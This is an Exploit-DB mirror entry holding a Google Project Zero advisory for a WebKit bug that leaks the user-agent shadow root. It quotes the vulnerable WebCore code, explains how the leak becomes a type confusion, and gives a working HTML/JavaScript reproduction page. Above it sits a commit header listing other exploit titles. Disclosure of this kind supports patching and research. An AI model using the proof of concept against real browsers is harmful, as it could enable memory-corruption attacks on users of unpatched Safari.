exploit-db-mirror/exploits/multiple/dos/47452.html
Offensive Security 4eaf273757 DB: 2019-10-02
9 changes to exploits/shellcodes

kic 2.4a - Denial of Service
WebKit - UXSS Using JavaScript: URI and Synchronous Page Loads
WebKit - Universal XSS in WebCore::command
WebKit - User-agent Shadow root Leak in WebCore::ReplacementFragment::ReplacementFragment
WebKit - Universal XSS Using Cached Pages

DameWare Remote Support 12.1.0.34 - Buffer Overflow (SEH)
vBulletin 5 - 'routestring' Remote Code Execution
vBulletin 5 - 'cacheTemplates' Remote Arbitrary File Deletion
vBulletin 5.x - 'routestring' Remote Code Execution
vBulletin 5.x - 'cacheTemplates' Remote Arbitrary File Deletion
PHP 7.1 < 7.3 - disable_functions Bypass
vBulletin 5.0 < 5.5.4 - Unauthenticated Remote Code Execution
DotNetNuke < 9.4.0 - Cross-Site Scripting
2019-10-02 05:01:46 +00:00

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<!--
VULNERABILITY DETAILS
editing/ReplaceSelectionCommnd.cpp:
```
Ref<HTMLElement> ReplacementFragment::insertFragmentForTestRendering(Node* rootEditableElement)
{
auto holder = createDefaultParagraphElement(document());
holder->appendChild(*m_fragment);
rootEditableElement->appendChild(holder); // ***2***
document().updateLayoutIgnorePendingStylesheets();
return holder;
}
[...]
ReplacementFragment::ReplacementFragment(Document& document, DocumentFragment* fragment, const VisibleSelection& selection)
: m_document(&document)
, m_fragment(fragment)
, m_hasInterchangeNewlineAtStart(false)
, m_hasInterchangeNewlineAtEnd(false)
{
if (!m_fragment)
return;
if (!m_fragment->firstChild())
return;
RefPtr<Element> editableRoot = selection.rootEditableElement(); // ***1***
ASSERT(editableRoot);
if (!editableRoot)
return;
[...]
RefPtr<StyledElement> holder = insertFragmentForTestRendering(editableRoot.get());
```
html/shadow/SliderThumbElement.cpp
```
RefPtr<HTMLInputElement> SliderThumbElement::hostInput() const
{
// Only HTMLInputElement creates SliderThumbElement instances as its shadow nodes.
// So, shadowHost() must be an HTMLInputElement.
return downcast<HTMLInputElement>(shadowHost()); // ***3***
}
```
I noticed this behavior when I was debugging the test case for
https://bugs.webkit.org/show_bug.cgi?id=199146. When the currently focused element is an <input>,
`selection.rootEditableElement()` in [1] might point to a node inside the <input>'s user-agent
shadow DOM tree. Then `insertFragmentForTestRendering` is called, which might have side effects,
e.g., if the inserted fragment contains an <iframe> element its "onload" handler will be called
synchronously, and it's possible to reach the user-agent shadow root object by following the
ancestor chain from the <iframe>.
When an attacker has access to the shadow root, she can use it to leak other elements that are only
intended for internal use and have less strict security checks. For example, `SliderThumbElement`
doesn't check that its host element is an <iframe> in [3], so the attacker can turn this bug into a
type confusion vulnerability.
VERSION
WebKit revision 246194
Safari version 12.1.1 (14607.2.6.1.1)
REPRODUCTION CASE
-->
<body>
<script>
input = document.body.appendChild(document.createElement('input'));
input.focus();
handler = event => {
shadow_root = event.target.parentNode.parentNode.parentNode;
input.type = 'range';
elt = shadow_root.firstChild.firstChild.firstChild;
input.remove();
elt.remove();
evt = new MouseEvent('mouseup');
div = document.createElement('div');
new_shadow_root = div.attachShadow({mode: 'open'});
new_shadow_root.appendChild(elt);
elt.dispatchEvent(evt);
}
document.execCommand('insertHTML', false, '<iframe src="about:blank" onload="handler(event)"></iframe>');
</script>
</body>
<!--
CREDIT INFORMATION
Sergei Glazunov of Google Project Zero
-->